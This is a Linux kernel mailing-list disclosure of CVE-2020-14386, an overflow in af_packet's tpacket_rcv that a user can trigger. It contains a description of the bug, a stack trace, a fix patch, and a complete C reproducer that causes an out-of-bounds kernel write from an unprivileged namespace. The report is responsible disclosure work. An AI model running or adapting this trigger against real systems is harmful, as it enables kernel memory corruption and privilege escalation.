From: Or Cohen <orcohen@paloaltonetworks.com>
To: netdev@vger.kernel.org
Subject: Vulnerability report - af_packet.c - CVE-2020-14386
Date: Thu, 3 Sep 2020 20:07:15 +0300 [thread overview]
Message-ID: <CAM6JnLf_8nwzq+UGO+amXpeApCDarJjwzOEHQd5qBhU7YKm3DQ@mail.gmail.com> (raw)
[-- Attachment #1: Type: text/plain, Size: 3319 bytes --]
Hi,
I already reported the issue to security@kernel.org and
linux-distros@vs.openwall.org and CVE-2020-14386 was assigned.
The report is as follows: ( a proposed patch and a reproducer are attached)
I discovered a bug which leads to a memory corruption in
(net/packet/af_packet.c). It can be exploited to gain root privileges
from unprivileged processes.
To create AF_PACKET sockets you need CAP_NET_RAW in your network
namespace, which can be acquired by unprivileged processes on systems
where unprivileged namespaces are enabled (Ubuntu, Fedora, etc).
I discovered the vulnerability while auditing the 5.7 kernel sources.
The bug occurs in tpacket_rcv function, when calculating the netoff
variable (unsigned short), po->tp_reserve (unsigned int) is added to
it which can overflow netoff so it gets a small value.
macoff is calculated using: "macoff = netoff - maclen", we can control
macoff so it will receive a small value (specifically, smaller then
sizeof(struct virtio_net_hdr)).
Later, when running the following code:
...
if (do_vnet &&
virtio_net_hdr_from_skb(skb, h.raw + macoff -
sizeof(struct virtio_net_hdr),
...
If do_vnet is set, and because macoff < sizeof(struct virtio_net_hdr)
a pointer to a memory area before the h.raw buffer will be sent to
virtio_net_hdr_from_skb. This can lead to an out-of-bounds write of
1-10 bytes, controlled by the user.
The h.raw buffer is allocated in alloc_pg_vec and it's size is
controlled by the user.
The stack trace is as follows at the time of the crash: ( linux v5.7 )
#0 memset_erms () at arch/x86/lib/memset_64.S:66
#1 0xffffffff831934a6 in virtio_net_hdr_from_skb
(little_endian=<optimized out>, has_data_valid=<optimized out>,
vlan_hlen=<optimized out>, hdr=<optimized out>, skb=<optimized
out>) at ./include/linux/virtio_net.h:134
#2 tpacket_rcv (skb=0xffff8881ef539940, dev=0xffff8881de534000,
pt=<optimized out>, orig_dev=<optimized out>)
at net/packet/af_packet.c:2287
#3 0xffffffff82c52e47 in dev_queue_xmit_nit (skb=0xffff8881ef5391c0,
dev=<optimized out>) at net/core/dev.c:2276
#4 0xffffffff82c5e3d4 in xmit_one (more=<optimized out>,
txq=<optimized out>, dev=<optimized out>,
skb=<optimized out>) at net/core/dev.c:3473
#5 dev_hard_start_xmit (first=0xffffc900001c0ff6, dev=0x0
<fixed_percpu_data>, txq=0xa <fixed_percpu_data+10>,
ret=<optimized out>) at net/core/dev.c:3493
#6 0xffffffff82c5fc7e in __dev_queue_xmit (skb=0xffff8881ef5391c0,
sb_dev=<optimized out>) at net/core/dev.c:4052
#7 0xffffffff831982d3 in packet_snd (len=65536, msg=<optimized out>,
sock=<optimized out>) 0001-net-packet-fix-overflow-in-tpacket_rcv
at net/packet/af_packet.c:2979
#8 packet_sendmsg (sock=<optimized out>, msg=<optimized out>,
len=65536) at net/packet/af_packet.c:3004
#9 0xffffffff82be09ed in sock_sendmsg_nosec (msg=<optimized out>,
sock=<optimized out>) at net/socket.c:652
#10 sock_sendmsg (sock=0xffff8881e8ff56c0, msg=0xffff8881de56fd88) at
net/socket.c:672
Files attached:
A proposed patch - 0001-net-packet-fix-overflow-in-tpacket_rcv.patch
A reproducer for the bug - trigger_bug.c
We are currently working on an exploit for getting root privileges
from unprivileged context using this bug.
If there is a problem with the patch please let me know and I will fix it.
Or Cohen
Palo Alto Networks
[-- Attachment #2: 0001-net-packet-fix-overflow-in-tpacket_rcv.patch --]
[-- Type: application/octet-stream, Size: 1674 bytes --]
From 3ad04c9555b93ac6a374b0921ad41849caf22067 Mon Sep 17 00:00:00 2001
From: Or Cohen <orcohen@paloaltonetworks.com>
Date: Sun, 30 Aug 2020 20:04:51 +0300
Subject: [PATCH] net/packet: fix overflow in tpacket_rcv
Using tp_reserve to calculate netoff can overflow as
tp_reserve is unsigned int and netoff is unsigned short.
This may lead to macoff receving a smaller value then
sizeof(struct virtio_net_hdr), and if po->has_vnet_hdr
is set, an out-of-bounds write will occur when
calling virtio_net_hdr_from_skb.
The bug is fixed by converting netoff to unsigned int
and checking if it exceeds USHRT_MAX.
Fixes: 8913336a7e8d ("packet: add PACKET_RESERVE sockopt")
Signed-off-by: Or Cohen <orcohen@paloaltonetworks.com>
---
net/packet/af_packet.c | 7 ++++++-
1 file changed, 6 insertions(+), 1 deletion(-)
diff --git a/net/packet/af_packet.c b/net/packet/af_packet.c
index 29bd405adbbd..d37435906859 100644
--- a/net/packet/af_packet.c
+++ b/net/packet/af_packet.c
@@ -2168,7 +2168,8 @@ static int tpacket_rcv(struct sk_buff *skb, struct net_device *dev,
int skb_len = skb->len;
unsigned int snaplen, res;
unsigned long status = TP_STATUS_USER;
- unsigned short macoff, netoff, hdrlen;
+ unsigned short macoff, hdrlen;
+ unsigned int netoff;
struct sk_buff *copy_skb = NULL;
struct timespec64 ts;
__u32 ts_status;
@@ -2237,6 +2238,10 @@ static int tpacket_rcv(struct sk_buff *skb, struct net_device *dev,
}
macoff = netoff - maclen;
}
+ if (netoff > USHRT_MAX) {
+ atomic_inc(&po->tp_drops);
+ goto drop_n_restore;
+ }
if (po->tp_version <= TPACKET_V2) {
if (macoff + snaplen > po->rx_ring.frame_size) {
if (po->copy_thresh &&
--
2.17.1
[-- Attachment #3: trigger_bug.c --]
[-- Type: application/octet-stream, Size: 3809 bytes --]
#define _GNU_SOURCE
#include <sched.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <net/ethernet.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdbool.h>
#include <stdarg.h>
#include <net/if.h>
#include <stdint.h>
bool write_file(const char* file, const char* what, ...) {
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
close(fd);
return false;
}
close(fd);
return true;
}
void setup_sandbox() {
int real_uid = getuid();
int real_gid = getgid();
if (unshare(CLONE_NEWUSER) != 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) != 0) {
perror("[-] unshare(CLONE_NEWNET)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/setgroups", "deny")) {
perror("[-] write_file(/proc/self/set_groups)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
perror("[-] write_file(/proc/self/uid_map)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
perror("[-] write_file(/proc/self/gid_map)");
exit(EXIT_FAILURE);
}
cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(0, &my_set);
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
perror("[-] sched_setaffinity()");
exit(EXIT_FAILURE);
}
if (system("/sbin/ifconfig lo up") != 0) {
perror("[-] system(/sbin/ifconfig lo up)");
exit(EXIT_FAILURE);
}
}
void packet_socket_send(int s, char *buffer, int size) {
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_halen = ETH_ALEN;
if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
sizeof(sa)) < 0) {
perror("[-] sendto(SOCK_RAW)");
exit(EXIT_FAILURE);
}
}
void loopback_send(char *buffer, int size) {
int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (s == -1) {
perror("[-] socket(SOCK_RAW)");
exit(EXIT_FAILURE);
}
packet_socket_send(s, buffer, size);
}
int main()
{
setup_sandbox();
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL) );
if (s < 0)
{
perror("socket\n");
return 1;
}
int v = TPACKET_V2;
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
if (rv < 0)
{
perror("setsockopt(PACKET_VERSION)\n");
return 1;
}
v = 1;
rv = setsockopt(s, SOL_PACKET, PACKET_VNET_HDR, &v, sizeof(v));
if (rv < 0)
{
perror("setsockopt(PACKET_VNET_HDR)\n");
return 1;
}
v = 0xffff - 20 - 0x30 -7;
rv = setsockopt(s, SOL_PACKET, PACKET_RESERVE, &v, sizeof(v));
if (rv < 0)
{
perror("setsockopt(PACKET_RESERVE)\n");
return 1;
}
struct tpacket_req req;
memset(&req, 0, sizeof(req));
req.tp_block_size = 0x800000;
req.tp_frame_size = 0x11000;
req.tp_block_nr = 1;
req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;
rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
if (rv < 0) {
perror("[-] setsockopt(PACKET_RX_RING)");
exit(EXIT_FAILURE);
}
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_family = PF_PACKET;
sa.sll_protocol = htons(ETH_P_ALL);
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_hatype = 0;
sa.sll_pkttype = 0;
sa.sll_halen = 0;
rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
if (rv < 0) {
perror("[-] bind(AF_PACKET)");
exit(EXIT_FAILURE);
}
uint32_t size = 0x80000/8;
char* buf = malloc(size);
if(!buf)
{
perror("malloc\n");
exit(EXIT_FAILURE);
}
memset(buf,0xce,size);
loopback_send(buf,size);
return 0;
}
next reply other threads:[~2020-09-03 17:51 UTC|newest]
Thread overview: 7+ messages / expand[flat|nested] mbox.gz Atom feed top
2020-09-03 17:07 Or Cohen [this message]
2020-09-04 13:30 ` [PATCH] net/packet: fix overflow in tpacket_rcv Stefan Nuernberger
2020-09-04 14:16 ` Greg Kroah-Hartman
2020-09-04 14:22 ` Nuernberger, Stefan
2020-09-04 14:36 ` gregkh
2020-09-05 6:54 ` Salvatore Bonaccorso
2020-09-21 17:02 ` Stefan Nuernberger
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=CAM6JnLf_8nwzq+UGO+amXpeApCDarJjwzOEHQd5qBhU7YKm3DQ@mail.gmail.com \
--to=orcohen@paloaltonetworks.com \
--cc=netdev@vger.kernel.org \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).